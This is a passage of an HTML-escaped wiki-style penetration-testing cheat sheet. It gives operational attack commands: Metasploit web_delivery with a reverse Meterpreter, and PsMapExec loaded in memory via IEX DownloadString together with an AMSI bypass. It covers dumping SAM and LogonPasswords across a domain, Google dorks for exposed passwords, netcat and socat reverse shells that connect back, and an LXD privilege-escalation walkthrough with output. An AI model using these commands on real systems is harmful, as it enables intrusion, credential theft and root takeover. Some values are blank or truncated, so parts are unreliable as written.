&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/Ethical-Hacking-Repos/Invoke-MetasploitPayload/blob/master/README.md&lt;br /&gt;
# https://www.netexec.wiki/smb-protocol/command-execution/getting-shells-101#meterpreter&lt;br /&gt;
# Meterpreter&lt;br /&gt;
# We can use the metinject module launch a meterpreter using Invoke-MetasploitPayload Invoke-MetasploitPayload.ps1 script.&lt;br /&gt;
# On your Metasploit instance, run the following commands&lt;br /&gt;
use exploit/multi/script/web_delivery&lt;br /&gt;
# The SRVHOST and SRVPORT variables are used for running the webserver to host the script&lt;br /&gt;
set SRVHOST 10.211.55&lt;br /&gt;
set SRVPORT 8443&lt;br /&gt;
# The target variable determines what type of script we&#039;re using. 2 is for PowerShell&lt;br /&gt;
set target 2&lt;br /&gt;
# Pick your payload. In this case, we&#039;ll use a reverse https meterpreter payload&lt;br /&gt;
set payload windows/meterpreter/reverse_https&lt;br /&gt;
set LHOST 10.211.55&lt;br /&gt;
set LPORT 443&lt;br /&gt;
# Run the exploit&lt;br /&gt;
run -j&lt;br /&gt;
# Once run, the web_delivery module will spin up the webserver to host the script and reverse listener for our meterpreter session.&lt;br /&gt;
msf exploit(web_delivery) &amp;gt; run -j&lt;br /&gt;
[*] Exploit running as background job.&lt;br /&gt;
[*] Started HTTPS reverse handler on https://10.211.55.4:8443/&lt;br /&gt;
[*] Using URL: http://10.211.55.4:8080/eYEssEwv2D&lt;br /&gt;
[*] Local IP: http://10.211.55.4:8080/eYEssEwv2D&lt;br /&gt;
[*] Server started.&lt;br /&gt;
# Then just run the met_inject module and specify the LHOST and LPORT values:&lt;br /&gt;
~ NetExec 192.168.10.0/24 -u username -p password -M met_inject -o SRVHOST=192.168.10.3 SRVPORT=8443 RAND=eYEssEwv2D SSL=http&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PsMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Cheathseet&lt;br /&gt;
https://viperone.gitbook.io/pentest-everything/psmapexec&lt;br /&gt;
https://github.com/The-Viper-One/PsMapExec&lt;br /&gt;
# A PowerShell tool heavily inspired by the popular tool CrackMapExec. Far too often I find myself on engagements without access to Linux in order to make use of CrackMapExec.&lt;br /&gt;
# PsMapExec is used as a post-exploitation tool to assess and compromise an Active Directory environment.&lt;br /&gt;
# Load directly into memory and attempt to bypass AV&lt;br /&gt;
# Invoke-NETMongoose.ps1 is an AMSI bypass&lt;br /&gt;
IEX(New-Object System.Net.WebClient).DownloadString(&amp;quot;https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/Invoke-NETMongoose.ps1&amp;quot;);IEX(New-Object System.Net.WebClient).DownloadString(&amp;quot;https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# PsMapExec has some dependencies that need to be pulled from outside the script itself in order to function.&lt;br /&gt;
## Primarily these are:&lt;br /&gt;
### Kirby (PowerShell based Kerberos ticket dump)&lt;br /&gt;
### Invoke-Pandemonium (Slightly modified Mimikatz)&lt;br /&gt;
&lt;br /&gt;
# Examples&lt;br /&gt;
# Execute WMI commands over all systems in the domain using password authentication&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets All -Method WMI -Command &amp;quot;net user&amp;quot;&lt;br /&gt;
# Execute WinRM commands over all systems in the domain using hash authentication&lt;br /&gt;
PsMapExec -Username Admin -Hash [Hash] -Targets All -Method WinRM -Command &amp;quot;net user&amp;quot;&lt;br /&gt;
# Check RDP Access against workstations in the domain&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets Workstations -Method RDP&lt;br /&gt;
# Dump SAM on all servers in the domain using SMB&lt;br /&gt;
PsMapExec -Username [User] -Hash [Hash] -Targets Servers -Method SMB -Module SAM&lt;br /&gt;
# Check SMB Signing on all domain systems&lt;br /&gt;
PsMapExec -Targets All -Method GenRelayList&lt;br /&gt;
# Dump LogonPasswords on all Domain Controllers over SMB&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets DCs -Method SMB -Module LogonPasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== GIT ==&lt;br /&gt;
&lt;br /&gt;
See PG Hunit writeup&lt;br /&gt;
&lt;br /&gt;
=== Download .git ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir&lt;br /&gt;
./gitdumper.sh /.git/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Extract .git content ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir&lt;br /&gt;
./extractor.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== GIT basic commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Stage the file for commit to your local repository by the following command. -A means add changes from all tracked and untracked files&lt;br /&gt;
git add -A&lt;br /&gt;
# Configure who you are in order to commit&lt;br /&gt;
git config --global user.email &amp;quot;you@example.com&amp;quot;&lt;br /&gt;
git config --global user.name &amp;quot;Your Name&amp;quot;&lt;br /&gt;
# The git commit command **captures a snapshot of the project&#039;s currently staged changes**.&lt;br /&gt;
git commit -m &amp;quot;This is a message&amp;quot;&lt;br /&gt;
#  Push your changes to the remote server. &amp;quot;master&amp;quot; refers to master branch in your repository.&lt;br /&gt;
git push origin master&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===  ===&lt;br /&gt;
&lt;br /&gt;
=== GIT_SSH_COMMAND ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# GIT_SSH_COMMAND&lt;br /&gt;
# If either of these environment variables is set then _git fetch_ and _git push_ will use the specified command instead of _ssh_ when they need to connect to a remote system.&lt;br /&gt;
# Below command will SSH to user git at 192.168.243.124 and clone the repo from /git-server&lt;br /&gt;
GIT_SSH_COMMAND=&#039;ssh -i id_rsa -p 43022&#039; git clone git@192.168.243.125:/git-server&lt;br /&gt;
# This command wil SSH to user git and push the changes to the remote server.&lt;br /&gt;
GIT_SSH_COMMAND=&#039;ssh -i id_rsa -p 43022&#039; git push origin master&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== GitLeaks - Scan repos for secrets ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/zricethezav/gitleaks&lt;br /&gt;
gitleaks detect --source . -v&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Google Dorking ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://dorksearch.com/&lt;br /&gt;
site:target[.]com ext:php inurl:?&lt;br /&gt;
site:target.tld intitle:&amp;quot;index of /&amp;quot; #  intitle:&amp;quot;index of /&amp;quot;: This searches for pages with “index of /” in their title. The “index of /” is typically shown in the title of directory listings on servers where directory browsing is enabled. It allows you to see a raw directory of files hosted on a server.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Search operators ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/chr3st5an/Google-Dorking GitHub - chr3st5an/Google-Dorking: Google Dorking Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Operator&lt;br /&gt;
! Description&lt;br /&gt;
! Syntax&lt;br /&gt;
! Example&lt;br /&gt;
|-&lt;br /&gt;
| ()&lt;br /&gt;
| Group multiple terms or operators. Allows advanced expressions&lt;br /&gt;
| (&amp;lt;term&amp;gt; or &amp;lt;operator&amp;gt;)&lt;br /&gt;
| inurl:(html | php)&lt;br /&gt;
|-&lt;br /&gt;
| *&lt;br /&gt;
| Wildcard. Matches any word&lt;br /&gt;
| &amp;lt;text&amp;gt; * &amp;lt;text&amp;gt;&lt;br /&gt;
| How to * a computer&lt;br /&gt;
|-&lt;br /&gt;
| &amp;quot;&amp;quot;&lt;br /&gt;
| The given keyword has to match exactly. case-insensitive&lt;br /&gt;
| &amp;quot;&amp;lt;keywords&amp;gt;&amp;quot;&lt;br /&gt;
| &amp;quot;google&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| m..n / m...n&lt;br /&gt;
| Search for a range of numbers. n should be greater than m&lt;br /&gt;
| &amp;lt;number&amp;gt;..&amp;lt;number&amp;gt;&lt;br /&gt;
| 1..100&lt;br /&gt;
|-&lt;br /&gt;
| -&lt;br /&gt;
| Documents that match the operator are excluded. NOT-Operator&lt;br /&gt;
| -&amp;lt;operator&amp;gt;&lt;br /&gt;
| -site:youtube.com&lt;br /&gt;
|-&lt;br /&gt;
| +&lt;br /&gt;
| Include documents that match the operator&lt;br /&gt;
| +&amp;lt;operator&amp;gt;&lt;br /&gt;
| +site:youtube.com&lt;br /&gt;
|-&lt;br /&gt;
| |&lt;br /&gt;
| Logical OR-Operator. Only one operator needs to match in order for the overall expression to match&lt;br /&gt;
| &amp;lt;operator&amp;gt; | &amp;lt;operator&amp;gt;&lt;br /&gt;
| &amp;quot;google&amp;quot; | &amp;quot;yahoo&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| ~&lt;br /&gt;
| Search for synonyms of the given word. Not supported by Google&lt;br /&gt;
| ~&amp;lt;word&amp;gt;&lt;br /&gt;
| ~book&lt;br /&gt;
|-&lt;br /&gt;
| @&lt;br /&gt;
| Perform a search only on the given social media platform. Rather use site&lt;br /&gt;
| @&amp;lt;socialmedia&amp;gt;&lt;br /&gt;
| @instagram&lt;br /&gt;
|-&lt;br /&gt;
| after&lt;br /&gt;
| Search for documents published / indexed after the given date&lt;br /&gt;
| after:&amp;lt;yy(-mm-dd)&amp;gt;&lt;br /&gt;
| after:2020-06-03&lt;br /&gt;
|-&lt;br /&gt;
| allintitle&lt;br /&gt;
| Same as intitle but allows multiple keywords seperated by a space&lt;br /&gt;
| allintitle:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allintitle:dog cat&lt;br /&gt;
|-&lt;br /&gt;
| allinurl&lt;br /&gt;
| Same as inurl but allows multiple keywords seperated by a space&lt;br /&gt;
| allinurl:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allinurl:search com&lt;br /&gt;
|-&lt;br /&gt;
| allintext&lt;br /&gt;
| Same as intext but allows multiple keywords seperated by a space&lt;br /&gt;
| allintext:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allintext:math science university&lt;br /&gt;
|-&lt;br /&gt;
| AROUND&lt;br /&gt;
| Search for documents in which the first word is up to n words away from the second word and vice versa&lt;br /&gt;
| &amp;lt;word1&amp;gt; AROUND(&amp;lt;n&amp;gt;) &amp;lt;word2&amp;gt;&lt;br /&gt;
| google AROUND(10) good&lt;br /&gt;
|-&lt;br /&gt;
| author&lt;br /&gt;
| Search for articles written by the given author if applicable&lt;br /&gt;
| author:&amp;lt;name&amp;gt;&lt;br /&gt;
| author:Max&lt;br /&gt;
|-&lt;br /&gt;
| before&lt;br /&gt;
| Search for documents published / indexed before the given date&lt;br /&gt;
| before:&amp;lt;yy(-mm-dd)&amp;gt;&lt;br /&gt;
| before:2020-06-03&lt;br /&gt;
|-&lt;br /&gt;
| cache&lt;br /&gt;
| Search on the cached version of the given website. Uses Google&#039;s cache to do so&lt;br /&gt;
| cache:&amp;lt;domain&amp;gt;&lt;br /&gt;
| cache:google.com&lt;br /&gt;
|-&lt;br /&gt;
| contains&lt;br /&gt;
| Search for documents that link to the given fileype. Not supported by Google&lt;br /&gt;
| contains:&amp;lt;filetype&amp;gt;&lt;br /&gt;
| contains:pdf&lt;br /&gt;
|-&lt;br /&gt;
| date&lt;br /&gt;
| Search for documents published within the past n months. Not supported by Google&lt;br /&gt;
| date:&amp;lt;number&amp;gt;&lt;br /&gt;
| date:3&lt;br /&gt;
|-&lt;br /&gt;
| define&lt;br /&gt;
| Search for the definition of the given word&lt;br /&gt;
| define:&amp;lt;word&amp;gt;&lt;br /&gt;
| define:funny&lt;br /&gt;
|-&lt;br /&gt;
| ext&lt;br /&gt;
| Search for a specific filetype&lt;br /&gt;
| ext:&amp;lt;documenttype&amp;gt;&lt;br /&gt;
| ext:pdf&lt;br /&gt;
|-&lt;br /&gt;
| filetype&lt;br /&gt;
| Refer to ext&lt;br /&gt;
| filetype:&amp;lt;documenttype&amp;gt;&lt;br /&gt;
| filetype:pdf&lt;br /&gt;
|-&lt;br /&gt;
| inanchor&lt;br /&gt;
| Search for the given keyword in a website&#039;s anchors&lt;br /&gt;
| inanchor:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| inanchor:security&lt;br /&gt;
|-&lt;br /&gt;
| index of&lt;br /&gt;
| Search for documents containing direct downloads&lt;br /&gt;
| index of:&amp;lt;term&amp;gt;&lt;br /&gt;
| index of:mp4 videos&lt;br /&gt;
|-&lt;br /&gt;
| info&lt;br /&gt;
| Search for information about a website&lt;br /&gt;
| info:&amp;lt;domain&amp;gt;&lt;br /&gt;
| info:google.com&lt;br /&gt;
|-&lt;br /&gt;
| intext&lt;br /&gt;
| Keyword needs to be in the text of the document&lt;br /&gt;
| intext:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| intext:news&lt;br /&gt;
|-&lt;br /&gt;
| intitle&lt;br /&gt;
| Keyword needs to be in the title of the document&lt;br /&gt;
| intitle:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| intitle:money&lt;br /&gt;
|-&lt;br /&gt;
| inurl&lt;br /&gt;
| Keyword needs to be in the URL of the document&lt;br /&gt;
| inurl:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| inurl:sheet&lt;br /&gt;
|-&lt;br /&gt;
| link / links&lt;br /&gt;
| Search for documents whose links contain the given keyword. Useful for finding documents that link to a specific website&lt;br /&gt;
| link:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| link:google&lt;br /&gt;
|-&lt;br /&gt;
| location&lt;br /&gt;
| Show documents based on the given location&lt;br /&gt;
| location:&amp;lt;location&amp;gt;&lt;br /&gt;
| location:USA&lt;br /&gt;
|-&lt;br /&gt;
| numrange&lt;br /&gt;
| Refer to m..n&lt;br /&gt;
| numrange:&amp;lt;number&amp;gt;-&amp;lt;number&amp;gt;&lt;br /&gt;
| numrange:1-100&lt;br /&gt;
|-&lt;br /&gt;
| OR&lt;br /&gt;
| Refer to |&lt;br /&gt;
| &amp;lt;operator&amp;gt; OR &amp;lt;operator&amp;gt;&lt;br /&gt;
| &amp;quot;google&amp;quot; OR &amp;quot;yahoo&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| phonebook&lt;br /&gt;
| Search for related phone numbers associated with the given name&lt;br /&gt;
| phonebook:&amp;lt;name&amp;gt;&lt;br /&gt;
| phonebook:&amp;quot;william smith&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| relate / related&lt;br /&gt;
| Search for documents that are related to the given website&lt;br /&gt;
| relate:&amp;lt;domain&amp;gt;&lt;br /&gt;
| relate:google.com&lt;br /&gt;
|-&lt;br /&gt;
| safesearch&lt;br /&gt;
| Exclude adult content such as pornographic videos&lt;br /&gt;
| safesearch:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| safesearch:sex&lt;br /&gt;
|-&lt;br /&gt;
| source&lt;br /&gt;
| Search on a specific news site. Rather use site&lt;br /&gt;
| source:&amp;lt;news&amp;gt;&lt;br /&gt;
| source:theguardian&lt;br /&gt;
|-&lt;br /&gt;
| site&lt;br /&gt;
| Search on the given site. Given argument might also be just a TLD such as com, net, etc&lt;br /&gt;
| site:&amp;lt;domain&amp;gt;&lt;br /&gt;
| site:google.com&lt;br /&gt;
|-&lt;br /&gt;
| stock&lt;br /&gt;
| Search for information about a market stock&lt;br /&gt;
| stock:&amp;lt;stock&amp;gt;&lt;br /&gt;
| stock:dax&lt;br /&gt;
|-&lt;br /&gt;
| weather&lt;br /&gt;
| Search for information about the weather of the given location&lt;br /&gt;
| weather:&amp;lt;location&amp;gt;&lt;br /&gt;
| weather:Miami&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Finding Valuable Information ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intitle:&amp;quot;webcamXP 5&amp;quot; | inurl:&amp;quot;lvappl.htm&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find open/public webcams&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intext:password ext:log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find log documents wich have the string &amp;quot;password&amp;quot; in it&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
inurl:/proc/self/cwd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find vulnerable webservers&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
inurl:email.xls ext:xls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find excel documents that contain email addresses&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
index of:mp3 intext:.mp3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find mp3 (music) documents&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intext:&amp;quot;index of /&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Finding indexed files&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Listener ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ATTENTION&lt;br /&gt;
# Some target machines might block the port you&#039;ve choosen to use as listening port. If you dont get a connection, try changing the port to some standard ports like 80, 443, 445 etc.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Metasploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
use exploit/multi/handler&lt;br /&gt;
set PAYLOAD&lt;br /&gt;
set LHOST&lt;br /&gt;
set LPORT&lt;br /&gt;
set ExitOnSession false&lt;br /&gt;
exploit -j -z&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Listen on port&lt;br /&gt;
nc -lvnp&lt;br /&gt;
# Use rlwrap for better shell on Windows&lt;br /&gt;
rlwrap nc -lvnp&lt;br /&gt;
# Connect to port&lt;br /&gt;
nc -nv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Socat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basic listener&lt;br /&gt;
socat TCP-L: -&lt;br /&gt;
# Windows connect back&lt;br /&gt;
socat TCP::&lt;br /&gt;
EXEC:powershell.exe,pipes&lt;br /&gt;
# Linux connect back&lt;br /&gt;
socat TCP:: EXEC:&amp;quot;bash -li&amp;quot;&lt;br /&gt;
# Encrypted shell - Basic listener&lt;br /&gt;
https://blog.aghanim.net/?p=1043#Socat_encrypted_shells&lt;br /&gt;
socat OPENSSL-LISTEN:,cert=shell.pem,verify=0 –&lt;br /&gt;
# Connect back&lt;br /&gt;
socat OPENSSL::,verify=0 EXEC:/bin/bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== LXD - Privilege escalation ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation]&lt;br /&gt;
&lt;br /&gt;
Step 1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]&lt;br /&gt;
└─# sudo /root/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8&lt;br /&gt;
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]&lt;br /&gt;
└─# ls&lt;br /&gt;
alpine.yaml  lxd.tar.xz  rootfs.squashfs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ wget http://10.10.14.18:9000/lxd.tar.xz&lt;br /&gt;
--2022-02-10 14:04:26--  http://10.10.14.18:9000/lxd.tar.xz&lt;br /&gt;
Connecting to 10.10.14.18:9000... connected.&lt;br /&gt;
HTTP request sent, awaiting response... 200 OK&lt;br /&gt;
Length: 844 [application/x-xz]&lt;br /&gt;
Saving to: ‘lxd.tar.xz’&lt;br /&gt;
lxd.tar.xz          100%[===================&amp;gt;]     844  --.-KB/s    in 0s&lt;br /&gt;
2022-02-10 14:04:26 (105 MB/s) - ‘lxd.tar.xz’ saved [844/844]&lt;br /&gt;
ash@tabby:~$ wget http://10.10.14.18:9000/rootfs.squashfs&lt;br /&gt;
--2022-02-10 14:04:36--  http://10.10.14.18:9000/rootfs.squashfs&lt;br /&gt;
Connecting to 10.10.14.18:9000... connected.&lt;br /&gt;
HTTP request sent, awaiting response... 200 OK&lt;br /&gt;
Length: 2052096 (2.0M) [application/octet-stream]&lt;br /&gt;
Saving to: ‘rootfs.squashfs’&lt;br /&gt;
rootfs.squashfs     100%[===================&amp;gt;]   1.96M  4.02MB/s    in 0.5s&lt;br /&gt;
2022-02-10 14:04:37 (4.02 MB/s) - ‘rootfs.squashfs’ saved [2052096/2052096]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 3&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine&lt;br /&gt;
ash@tabby:~$ lxc image list&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
| ALIAS  | FINGERPRINT  | PUBLIC |              DESCRIPTION               | ARCHITECTURE |   TYPE    |  SIZE  |         UPLOAD DATE          |&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
| alpine | 9c716211a82e | no     | Alpinelinux 3.8 x86_64 (20220210_1356) | x86_64       | CONTAINER | 1.96MB | Feb 10, 2022 at 2:04pm (UTC) |&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 4&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
Error: No storage pool found. Please create a new storage pool&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Fix no storage pool found with lxd init ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]: ye^H^H^H^H^C&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]:&lt;br /&gt;
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes&lt;br /&gt;
Name of the new storage pool [default=default]: h^Hhel^H^H^[^H^C&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]:&lt;br /&gt;
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes&lt;br /&gt;
Name of the new storage pool [default=default]: hello&lt;br /&gt;
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]: z^H&lt;br /&gt;
Invalid input, try again.&lt;br /&gt;
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]:&lt;br /&gt;
Create a new ZFS pool? (yes/no) [default=yes]: yes^H^H&lt;br /&gt;
Invalid input, try again.&lt;br /&gt;
Create a new ZFS pool? (yes/no) [default=yes]:&lt;br /&gt;
Would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]:&lt;br /&gt;
Size in GB of the new loop device (1GB minimum) [default=5GB]:&lt;br /&gt;
Would you like to connect to a MAAS server? (yes/no) [default=no]:&lt;br /&gt;
Would you like to create a new local network bridge? (yes/no) [default=yes]:&lt;br /&gt;
What should the new bridge be called? [default=lxdbr0]:&lt;br /&gt;
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:&lt;br /&gt;
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:&lt;br /&gt;
Would you like the LXD server to be available over the network? (yes/no) [default=no]:&lt;br /&gt;
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]&lt;br /&gt;
Would you like a YAML &amp;quot;lxd init&amp;quot; preseed to be printed? (yes/no) [default=no]:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 5&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
ash@tabby:~$ lxc list&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
|  NAME   |  STATE  | IPV4 | IPV6 |   TYPE    | SNAPSHOTS |&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
| privesc | STOPPED |      |      | CONTAINER | 0         |&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 6&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true&lt;br /&gt;
Device host-root added to privesc&lt;br /&gt;
ash@tabby:~$ lxc start privesc&lt;br /&gt;
ash@tabby:~$ lxc exec privesc /bin/sh&lt;br /&gt;
~ # id&lt;br /&gt;
uid=0(root) gid=0(root)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Macro ==&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Word ===&lt;br /&gt;
&lt;br /&gt;
Word file must be saved as .doc or .docm since they support embedded macro. .docx wont work.&lt;br /&gt;
&lt;br /&gt;
When transferring the .doc or .docm remember to either ZIP the dociment or use tftp, otherwise the macro might be lost.&lt;br /&gt;
&lt;br /&gt;
Remember to set Macro in the document, otherwise it will only work locally.&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Open Word --&amp;gt; View --&amp;gt; Macro --&amp;gt; Show Macro --&amp;gt; Create&lt;br /&gt;
